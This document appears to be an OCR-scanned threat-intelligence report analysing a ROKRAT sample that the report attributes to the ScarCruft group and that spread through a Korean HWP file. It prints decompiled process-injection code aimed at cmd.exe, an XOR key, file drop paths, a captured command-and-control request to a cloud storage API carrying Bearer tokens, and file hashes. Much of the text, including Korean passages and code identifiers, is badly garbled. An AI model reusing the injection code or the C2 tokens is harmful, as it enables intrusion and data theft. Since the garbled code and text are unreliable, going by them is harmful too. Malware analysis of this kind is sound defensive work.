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2018-11-16, VirusTotal has hunted a HWP file named "3 7| & £.hwp".
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The Korean file is estimated to be a malicious code of the type known as the ROKRAT of the

Scraft group.
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* RedEyes, Scarcruft: Attack group that performs data capture and destruction on famous
institutions or political groups in Korea
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When you open the "% 7| 2 & .hwp" file, you can see that it is filled with meaningless
values.
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Inject malicious code using "BINOOO1.eps".
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=-F) Root Entry Hex .~ Property Set

&-F7 BinData
-.[7] BINOOOL.eps D MName Type Walue
=-F BodyText 2 Title VT_LPWSTR
. .[5] sectiono 3 Subject VI_LPWSTR
-7 DocOptions 4 Author VT LPWSTR (F)S 2R EE
. L.[E] _LinkDoc 20 Date String VT LPWSTR 20114 42 202 20 ©= 10:44:52
=7 Scripts 5 Keywords VT_LPWSTR
7] DefaultiScript 6 Comments VT_LPWSTR
8 Last Saved By WT_LPWSTR Userl
~{_] |HwpSummaryInformation g Revision Number VT LPWSTR 8, 5, 8, 1600 WIN32LEWindows Unknown_Version
~{_] Dednfo 12 Create Time/Data VT_FILETIME 2004-11-09 06:23:46.535000 (UTC)
-] Fileteader 13 Last saved Time/Data WT_FILETIME 2018-11-16 02:54:41.390000 (UTC)
-E Primage 11 Last Printed VT_FILETIME 1601-01-01 00-:00-00 (UTC)
-] PrvText 14 Number of Pages VT 14 o
21 Fara Count VT 14 ]

%APPDATA% 4 20| "Pemnn01.hje01", "Pemnn02.hje01" Z} S A M50 F= T
"MemoryOrder85584031.com" Lt 2 MM ST},

fjo
o

Create "Pemn01.hje01" "Pnn02.hje01" file in the %APPDATA% path and combine the two
files to create the "MemoryOrder85584031.com" file.

XIP5-Adobe-3.0 EPSF-2.8

ch dup 3 pop length 3 pop 2 imdex 5 h add string dup dup 4 2 p 2 roll 2 pop 3 pop
4 -1 roll f

jec Script.shel
ell = Nothing)write
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Offset (h) 00 01 02
00000000 05 19 E8
00000010 00 00 B8
00000020 00 00 00
00000030 00 00 00
00000040 00 00 OE
00000050 54 &8 &9
00000060 6E &F 74
00000070 53 20 &D
00000080 00 00 C
00000090 FF D3 3F
000000A0 FF D3 oC
000000BO FF D3 AS
000000CO FF D3 oC
000000DO0 FF D3 52
000000EO 00 00 00
000000F0 05 00 A7
MME DU M=
2=

The generated file has a try Thread Injection on cmd.exe, and xor decryt binary is used.

Xor key : Ox4A

L =
CreateProcessA_v6
if |
{
uy
vE = B8;
do
{

byte 4BBCS8[u8]

++us;
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GetModuleHandleA{"Kernel3d?2 .d11"});
GetProcAddress{vs,
(CreateProcessh_va) (@, &uis,

= @xhAu;

while { v8 < B8x7DAGB );

quord_4BBCCE =

Injection sub 461388{vi1);
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cmd.exe0|| Thread InjectionE A|=5}04, 0| xor £

This program can
not be run in DO
S mode....5.....
..E.‘”,l'ﬂ l'ﬂ i
§é?£10f1;cEﬁ{Cfl
T30 190e | 011
e H3i¢0, ip0Oi
Fheud Fiv0ekndfi

“CreateProcessA');// cnd_exe

({{(v? << 7)Y + 1619521) >> L) + 264) 2> 3;

g, 8, 8, 8, 8, 8, &i2, &uiB) )}

({({3 = CreateProcessi_va) + ({quword 4BBCCE + 6508) (< 7)) >> 4) + 264) 2> 3;
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ui GetModuleHandleA{"'Kernel3d? .d11™);
vz GetModuleHandleA{"'ntdll .d11"});
u3d = GetProcAddress{vi, "OpenProcess™);
RtlCreatelserThread uwl GetProcAddress{v?, "RtlCreatelserThread")};
WriteProcessHemory uvil GetProcAddress{ui, “WriteProcessHemory™);
UirtualAallocEx w5 = GetProcAddress{ui, “UirtualAllocEx");
ufh = quord_488CCSH;
u? = UirtualAllocEx u5;
LOBYTE(ua) = 3;
quord_488CC8 = ((((quword 488CCE << 7) + 83218) >> 4) + 264) >> 3;
i = (vidi{va, 1882, 8, al);
ug = 3 = ui;
LOBYTE(u2) = 3;
ull = ({({3 = v8) + ((qword 48BCCE + 658) << 7)) >> 4) + 264) >> 3;
quord 4BBCCB = (({((3 = v8) + ({quword L4BBCCE + 658) << 7)) >> 4) + 264) >> 3;
if { vi )
{
vl = wif{v?, ud, 8, 513131, 12288, 64);
{(WUriteProcessHemory ui4){u&, vll, byte 4BBC58, Bx7DOGE, &ui15);
(RtlCreatelserThread va){vs, @, 8, 8, 8, 8, vid1, A8, &i3, &UiG6);
ul@ = quword_488CCSE;
H
quord 4BBCCE = (({(3 = vi3) + ((vi1B + 658) << 7)) >> 4) + 264) >> 3;
return vi3d;
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The injected malicious code is the same as the previous analysis of "ROKRAT is BACK".
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On September 19th, Virustotal appeared in Hangul malicious code called "7 week trust and care

communication"
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S MZ0|M AFE E[= Token 2f2
"tgaNZQXaLAwmirSFZfdPhl7ZCC8LqqvoBSkBdhfC5Fzw1SFeOr70" 0|04, O| X 2t F =29

= o —+
MESA, TH et d e 49 &2 = 0] MBRO| o ECf.

The Token value used in the sample is
"tgaNZQXaLAwmirSFZfdPhl7ZCC8LqgqvoBSkBdhfC5Fzw1SFeOr70".

In case of previous malicious code, sandbox, or virtual environment, the MBR is destroyed
by rebooting.

Headers | TextView | WebForms | HexView | Auth | Cookies HRaw | 350mM | XML |

GET https://api.pcloud. com/getfilelink?path=/2E15 2297000000004 or cedownload=1&skipfilename=1 HTTF/1.1
Connection: Keep-Alive

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*,/*;0=0.8
Accept-Language: en-Us,en;q=0.8
Authorization: Bearer tgakZoxalawmirsFZTdrPhI7FZCCaLggvoBsSkBEdhfCSFzwlSFeor7o

User-Agent: Mozilla,5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot. html)
Host: api.pcloud.com
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SiXlf alyacH| M= Sl & #H 0| A E Operation KoreanSword 211 2334 Sk,

Currently, alyac calls the case Operation EnglishSword.
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[HWP File]

FileName :

Author : (F)8t20tAH FH

3t

Last Saved By : User1

Create Time/Data : 2004-11-26 06:23:46.535000 (UTC)
Last saved Time/Data : 2018-11-16 02:54:41.390000 (UTC)
MD5 : 804a8c076b4aaa2e21ab4f06453d1cde

SHA-1: 35eda3c7aedcfaab9e4b2ad0f613eb587a519960

SHA-256: d0cac300272954919538888c2e8b2be81113a60faObbb1d4a5a0a0367037050e

[Drop File]

Filename : %APPDATA%\\MemoryOrder85584031.com
TimeStamp : 2018-11-14 15:47:51 (UTC)
MD5: 80a2a804e12ad9c039c3de1466fac46f

[Injection File]

TimeStamp : 2018-11-07 07:06:11 (UTC)
MD5: fb80235fbf92da08bc8bcddd241c3d42
Token: tgaNZQXaLAwmirSFZfdPhl7ZCC8LqqvoBSkBdhfC5Fzw1SFeOr70

[Similar malware]
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[HWP File]

FileName : 73 A1 2|2} Hif242| HZL|# 0|M.hwp

Author : gichang

Last Saved By : User1

Create Time/Data : 2014-02-2613:45:17.799000 (UTC)
Last saved Time/Data : 2018-08-29 00:22:26.729000 (UTC)
MD5 : 3f92afe96b4cfd41f512166c691197b5

SHA-1: eeae06fc31982f992993ef0ff12e2d94981d9bff

SHA-256: 51e35a7a4e2c49670ecfba7b55045cfa893aa1459246fa5b23ff0bba91225b76

[Decoded File (Themida)]

Filename : %APPDATA%\\WinUpdate 148399843
TimeStamp : 2018-08-28 01:22:27 (UTC)

MD5: 6ec89edfffdb221a1edbc9852a9a567a

SHA-1: 52976314913289a61282ee1f172a30cce29147ac

SHA-256: 98498b97b7cdce9dd6b1a83057e47bd74dc2beSbb12f42ce505981bff093de73

[Injection File]

TimeStamp : 2018-08-28 01:13:58 (UTC)
MD5: 7a751874ea5f9c95e8f0550a0b93902d
SHA-1: 41a3e61adf853edaddc999e547a246cc4c173480

SHA-256: f885¢c37b3368faf2ae11d70e15aa75a641de9357dda038d875fe5513d9841582
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token: VdZhAhd9YXAAAAAAAAAACQaGExOmpQnzIWKixGGNveuPx0XtDTzynRk4fnra1-
9E

Thank's to kino, savNi
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